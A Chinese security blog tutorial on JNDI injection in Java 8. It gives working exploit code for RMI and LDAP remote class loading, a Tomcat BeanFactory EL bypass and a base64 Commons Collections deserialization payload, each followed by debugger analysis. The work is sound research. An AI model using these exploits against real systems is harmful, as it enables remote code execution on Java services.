首页 > 其他分享 >JNDI注入

JNDI注入

时间:2023-09-26 23:55:55浏览次数:71  
标签:InitialContext JNDI lookup new import com public 注入

简介

根据官方教程,JNDI(Java Naming and Directory Interface)是为Java程序提供的,一组用来统一调用命名服务和目录服务的API,逻辑结构如下:
image.png
可以看到下面的SPI中,有熟悉的RMI服务和DNS服务,也有没用过的CORBA和LDAP服务等。
那么到底什么是JNDI?
一句话说:接口一词在计算机系统中再常见不过,所谓JNDI,就是屏蔽掉上面说到的服务的底层细节,提供一套统一的接口来调用这些服务,我的理解就是一层封装

漏洞原理

前面说到,JNDI支持命名服务和目录服务,而它在绑定一个对象时,采用引用的方式(Reference)来存储,可以理解成一个指针/引用。
恶意的JNDIServer端先bind一个引用对象,JNDIClient端从JNDIServer端lookup这个引用对象的时候,如果Client端本地不存在对应类名的类,就会去Reference对象里定义的位置加载定义的类,而指定位置是支持http等远程协议的,这就导致了远程类加载问题,这也是这个洞的核心所在,一图胜千言
image.png

漏洞分析

JNDI这个洞最早是2016年的BlackHat爆出来的,之后陆陆续续进行了几次修复,就jdk8u版本来说,节点可以分为:8u121之前、8u121到8u191、8u191之后三个阶段;笔者也以漏洞修复的时间线,对不同的利用进行分析。

JNDI操纵RMI

适用JDK版本:<8u121
测试JDK版本:8u65

利用方式

import java.io.IOException;

public class Calc {
    {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        Registry registry = LocateRegistry.createRegistry(1099);
//        initialContext.bind("rmi://localhost:1099/remoteObj",new RemoteObjectImpl());
        // 绑定的引用对象指定到了远程服务器上的恶意类
        Reference reference = new Reference("Jasper", "Calc", "http://localhost:7777/");
        initialContext.rebind("rmi://localhost:1099/remoteObj",reference);
        System.out.println("Server start...");
    }
}

import javax.naming.InitialContext;

public class JNDIRMIClient {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        RemoteObjectInterface remoteObject = (RemoteObjectInterface)initialContext.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(remoteObject.sayHello("I'm Jasper you motherfucker."));
    }
}

python3 -m http.server 7777 起一个HTTP Server,目录里放编译后的恶意类,然后运行Server端,再运行Client端,成功执行代码。
image.png

调试

getObjectFactoryFromReference:163, NamingManager
getObjectInstance:319, NamingManager
decodeObject:464, RegistryContext
lookup:124, RegistryContext
lookup:205, GenericURLContext
lookup:417, InitialContext
main:6, JNDIRMIClient

在Client端的lookup处下断点,查看获取到Reference对象之后发生了什么
image.png
三层套娃调用lookup
initialContext#lookup
image.png
GenericURLContext#lookup
image.png
RegistryContext#lookup,调了decodeObject对服务端传过来的对象解码
image.png
RegistryContext#decodeObject,如果传过来的是引用对象,通过NamingManager#getObjectInstance获取引用所指向的对象。
image.png
NamingManager#getObjectInstance,首先通过getObjectFactoryFromReference获取对象指向的对象的工厂对象factory,再由factory#getObjectInstance获取到引用对象指向的真正对象,从工厂生产产品的思想。
image.png
NamingManager#getObjectFactory,首先获取远程的工厂类,再实例化返回一个工厂对象
image.png
到这分析完毕,执行完这行就弹计算器了。

JNDI操纵LDAP

适用JDK版本:<8u191
测试JDK版本:8u121
在8u121之后,RegistryContext#decodeObject里加了trustURLCodebase,默认不允许远程加载Factory类
image.png
例如我们这里再执行上面的代码,提示要加载远程Factory,trustURLCodebase需要置为true。
image.png
这个怎么绕过呢?其实很简单,他是在RegistryContext里加了限制条件,我们用别的SPI就好,比如LDAP。Oracle这里也挺怪的,只修了RMI服务的洞,没有把LDAP的一起修,留到了8u191才来修。

利用方式

import java.io.IOException;

public class Calc {
    {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

不用太注意LDAP服务端的实现代码,用专门的软件起一个LDAP服务也是一样的。

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class JNDILDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main (String[] args) {
        // codebase,加载恶意Calc类
        String url = "http://127.0.0.1:7777/#Calc";
        int port = 1234;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         * */ public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */ @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

import javax.naming.InitialContext;

public class JNDILDAPClient {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        RemoteObjectInterface remoteObject = (RemoteObjectInterface)initialContext.lookup("ldap://localhost:1234/Calc");
        System.out.println(remoteObject.sayHello("I'm Jasper you motherfucker."));

    }
}

python3 -m http.server 7777 起一个HTTP Server,目录里放编译后的恶意Calc类,然后运行Server端,再运行Client端,成功执行代码。
image.png

调试

getObjectFactoryFromReference:163, NamingManager
getObjectInstance:189, DirectoryManager
c_lookup:1085, LdapCtx
p_lookup:542, ComponentContext
lookup:177, PartialCompositeContext
lookup:205, GenericURLContext
lookup:94, ldapURLContext
lookup:417, InitialContext
main:6, JNDILDAPClient

主要漏洞点的逻辑和JNDI操纵RMI是完全一样的,关键点在NamingManager里,这里不再重复分析了。
看调用栈也能发现,使用LDAP的话根本不会走进RegistryContext,这也是为什么能绕过trustURLCodebase。

JNDI 加载本地恶意类

适用JDK版本:≥8u191
测试JDK版本:8u191
在8u191版本里,Oracle直接在VersionHelper12.java这个文件里加了trustURLCodebase,这下所有SPI在loadClass的时候,都被禁止远程加载Factory了。
image.png
那么如何绕过呢?
我们之前一直是远程加载自己构造的恶意类,但是如果客户端的组件里有可以利用的本地类,是否也能利用?
之前分析过,在这里会新建工厂对象factory,并执行factory#getObjectInstance方法
image.png
那么如果客户端本地有一个Factory,它实现了ObjectFactory接口,并且重写的getObjectInstance方法里有可利用的gadgets,达到执行代码的效果,那么我们选择通过本地加载这个Factory,也能实现攻击。
Client本地可利用的Factory类的要求

  • 实现了ObjectFactory接口(上图的factory变量类型要求)
  • 重写的getObjectInstance方法里有可利用的gadgets(实现攻击需要)

image.png
这里也不卖关子,利用的是Tomcat核心包里内置的BeanFactory类
image.png
BeanFactory#getObjectInstance里有一个反射调用是可以利用的,我们完全可以在Server端构造出恶意命令。
这里不仔细分析参数构造了,感兴趣的师傅可以仔细研究研究。
image.png
注意:这种利用方式对SPI是什么没有要求的,RMI还是LDAP都是一样的,他们都会走到NamingManager里。

利用方式

这里以RMI服务为例

<dependency>
  <groupId>org.apache.tomcat</groupId>
  <artifactId>tomcat-dbcp</artifactId>
  <version>9.0.8</version>
</dependency>
<dependency>
  <groupId>org.apache.tomcat</groupId>
  <artifactId>tomcat-catalina</artifactId>
  <version>9.0.8</version>
</dependency>
<dependency>
  <groupId>org.apache.tomcat</groupId>
  <artifactId>tomcat-jasper</artifactId>
  <version>9.0.8</version>
</dependency>

import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServerBypass8u191 {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String) null, "", "", true, "org.apache.naming.factory.BeanFactory", (String) null);
        resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
        resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));

        initialContext.bind("rmi://localhost:1099/Tomcat8bypass", resourceRef);
        System.out.println("JNDIRMIServer start...");
    }
}

import javax.naming.InitialContext;

public class JNDIRMIClientBypass8u191 {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://localhost:1099/Tomcat8bypass");

    }
}

先加载Tomcat的依赖,再依次运行服务端和客户端,即可执行el表达式的代码。
image.png

调试

getObjectFactoryFromReference:163, NamingManager
getObjectInstance:319, NamingManager
decodeObject:464, RegistryContext
lookup:124, RegistryContext
lookup:205, GenericURLContext
lookup:417, InitialContext
main:6, JNDIRMIClient

前面流程和JNDIRMI完全一致,直接跳到NamingManager#getObjectFactoryFromReference
可以看到它从Client端本地获取到了Tomcat依赖里的BeanFactory,并创建factory实例对象返回。
image.png
factory实例对象返回后,执行BeanFactory#getObjectInstance,这个函数是我们可以操纵执行EL表达式的。
image.png
单步步过,成功执行代码
image.png
至此,JNDI加载恶意本地类的利用分析结束。

JNDI操纵LDAP触发反序列化

适用JDK版本:≥8u191
测试JDK版本:8u191
同样是高版本的一种绕过手段,之前操纵LDAP是绑定的Reference对象,走的是类加载的路子。
实际上LDAP里有逻辑识别我们绑定的对象的类型,如果服务端绑一个序列化的字符串,就会有反序例化的点。
image.png
走反序列化解析,可以看到调用了原生反序列化,显然是可以触发漏洞的。
image.png
这里我们用CC打,就要求Client端有CC依赖,笔者用的CC6的链子,因为8u191对低版本jdk会有限制。

利用方式

<!--        CC依赖-->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
import java.util.Base64;

public class JNDILDAPServerBypass8u191 {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        // 远程类加载用的codebase,这里没用
        String[] args=new String[]{"http://127.0.0.1/#EXP"};
        int port = 1234;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
            e.addAttribute("javaClassName", "foo");
            //反序列化点
            e.addAttribute("javaSerializedData", Base64.getDecoder().decode(
                    "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAAEa2V5MnNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAAJZ2V0TWV0aG9kdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAcc3EAfgATdXEAfgAYAAAAAnBwdAAGaW52b2tldXEAfgAcAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VxAH4AGAAAAAF0AARDYWxjdAAEZXhlY3VxAH4AHAAAAAFxAH4AH3NxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAXQABGtleTF0AAZ2YWx1ZTF4eHQABkphc3Blcng="
            ));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}
import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDILDAPCientBypass8u191 {
    public static void main(String[] args) throws Exception {
        // lookup参数注入触发
        Context context = new InitialContext();
        context.lookup("ldap://localhost:1234/EXP");

    }
}
public static void serialize(Object o) throws Exception{
    // 输出Base64后的对象
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream out = new ObjectOutputStream(baos);
    out.writeObject(o);
    out.close();
    String res = Base64.getEncoder().encodeToString(baos.toByteArray());
    System.out.println("res = " + res);
    System.out.println("序列化完成...");
}

依次启动客户端和服务端,即可打通。
image.png
注意:

  • Server端大部分代码是起一个LDAP服务,关键点笔者给了注释,不用全看懂
  • Server端的codebase是随便设都可以的,这个利用方式用不到远程加载

调试

readObject:424, ObjectInputStream
deserializeObject:531, Obj
decodeObject:239, Obj
c_lookup:1051, LdapCtx
p_lookup:542, ComponentContext
lookup:177, PartialCompositeContext
lookup:205, GenericURLContext
lookup:94, ldapURLContext
lookup:417, InitialContext
main:10, JNDILDAPCientBypass8u191

看调用栈可以看到,一共套娃调用了6层lookup方法,笔者这里直接从LdapCtx#c_lookup开始分析
image.png
image.png
image.png
至此,JNDI的LDAP触发反序列化的调试结束。

参考文献

JNDI官方教程
https://docs.oracle.com/javase/tutorial/jndi/TOC.html
JDK版本修复日志
https://www.oracle.com/java/technologies/javase/8u121-relnotes.html
https://www.oracle.com/java/technologies/javase/8u191-relnotes.html
JDK补丁代码对比
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/a58fca2f8a5d
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/2db6890a9567
JNDI注入漏洞参考
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.bilibili.com/video/BV1ct4y1h79t
https://goodapple.top/archives/696
https://tttang.com/archive/1611
https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/
https://tttang.com/archive/1405
https://paper.seebug.org/942/
https://www.cnblogs.com/bitterz/p/15946406.html#

小结

JNDI注入,攻击面很多,本质是类加载和反序列化。

标签:InitialContext,JNDI,lookup,new,import,com,public,注入
From: https://www.cnblogs.com/jasper-sec/p/17731603.html

相关文章

  • 登录口SQL注入突破32位限制获取密码
    0x01前言虽然本文主要讲述了SQL注入,但同时也记录了在测试这个网站时的整体思考方式以及不同测试点的攻击方式。将这种方式记录下来并形成自己在渗透测试中的checklist,可以使渗透流程更加标准化,使整个测试过程更加行云流水得心应手。0x02分析目标打开项目中的网站,只有一个登......
  • Win32编程之远程注入(十七)
    一、VirtualAllocEx函数VirtualAllocEx 用于在另一个进程的虚拟地址空间中分配内存。这个函数通常与其他进程间内存操作函数一起使用,允许一个进程分配内存并将其映射到另一个进程的地址空间中。函数原型:LPVOIDVirtualAllocEx(HANDLEhProcess,LPVOIDlpAddress,SIZ......
  • Spring中构造器、init-method、@PostConstruct、afterPropertiesSet孰先孰后,自动注入
     引用:https://www.cnblogs.com/qlqwjy/p/9417034.html首先明白,spring的IOC功能需要是利用反射原理,反射获取类的无参构造方法创建对象,如果一个类没有无参的构造方法spring是不会创建对象的。在这里需要提醒一下,如果我们在class中没有显示的声明构造方法,默认会生成一个无参......
  • Abp vNext 依赖注入
    文章目录介绍ABP的依赖注入系统是基于Microsoft的依赖注入扩展库(Microsoft.Extensions.DependencyInjectionnuget包)开发的。所以我们采用dotnet自带的注入方式也是支持的。由于ABP是一个模块化框架,因此每个模块都定义它自己的服务并在它自己的单独模块类中通过依赖注入进行......
  • Spring Boot 目录遍历--表达式注入--代码执行--(CVE-2021-21234)&&(CVE-2022-22963)&&
    SpringBoot目录遍历--表达式注入--代码执行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296)SpringBoot目录遍历(CVE-2021-21234)漏洞简介spring-boot-actuator-logview是一个简单的日志文件查看器作为SpringBoot执行器端点,在0.2.13版本之前存......
  • 为什么@Resource无法注入泛型类型而@Autowired可以
    在Spring框架中,我们通常使用@Autowired和@Resource两个注解来实现属性注入。但是当涉及到泛型类型时,使用@Resource注解就会失败,而@Autowired可以正常工作。这篇文章就来分析它们之间的区别。@Autowired可以直接注入泛型类型,例如:```java@AutowiredprivateRepository<User>......
  • portswigger——服务器端模板注入(SSTI)
    什么是服务器端模板注入?服务器端模板注入是指攻击者能够使用本机模板语法将恶意负载注入模板,然后在服务器端执行。模板引擎旨在通过将固定模板与易失性数据相结合来生成网页。当用户输入直接连接到模板中,而不是作为数据传入时,可能会发生服务器端模板注入攻击。这允许攻击者注入......
  • 【学习中】sql注入-数字型注入
    随笔里的内容都是个人理解,如果有不对的地方,还望各位大佬多多指正。一、理论基础1、什么是数字型注入数字型注入攻击主要针对应用程序中的数字参数,攻击者通过修改参数值来欺骗应用程序执行非法操作。这类攻击通常发生在应用程序的输入验证不严密的地方,例如在SQL查询中直接使用......
  • Win32编程之通过SetWindowsHookEx注入DLL(十六)
    一、SetWindowsHookEx函数SetWindowsHookEx是用于在Windows操作系统中设置全局或本地的钩子(hook)。钩子是一种用于监视并拦截特定事件或消息的机制,通常用于拦截和处理键盘输入、鼠标操作、窗口消息等。SetWindowsHookEx允许你安装一个全局或本地的钩子过程,以便在事件发生时执行......
  • Android端如何实现拉取RTSP/RTMP流并回调YUV/RGB数据然后注入轻量级RTSP服务?
    技术背景我们在对接开发Android平台音视频模块的时候,遇到过这样的问题,厂商希望拉取到海康、大华等摄像机的RTSP流,然后解码后的YUV或RGB数据回给他们,他们做视频分析或处理后,再投递给轻量级RTSP服务模块或RTMP推送模块,实现处理后的数据,二次转发,本文以拉取RTSP流,解析后再注入轻量级RTS......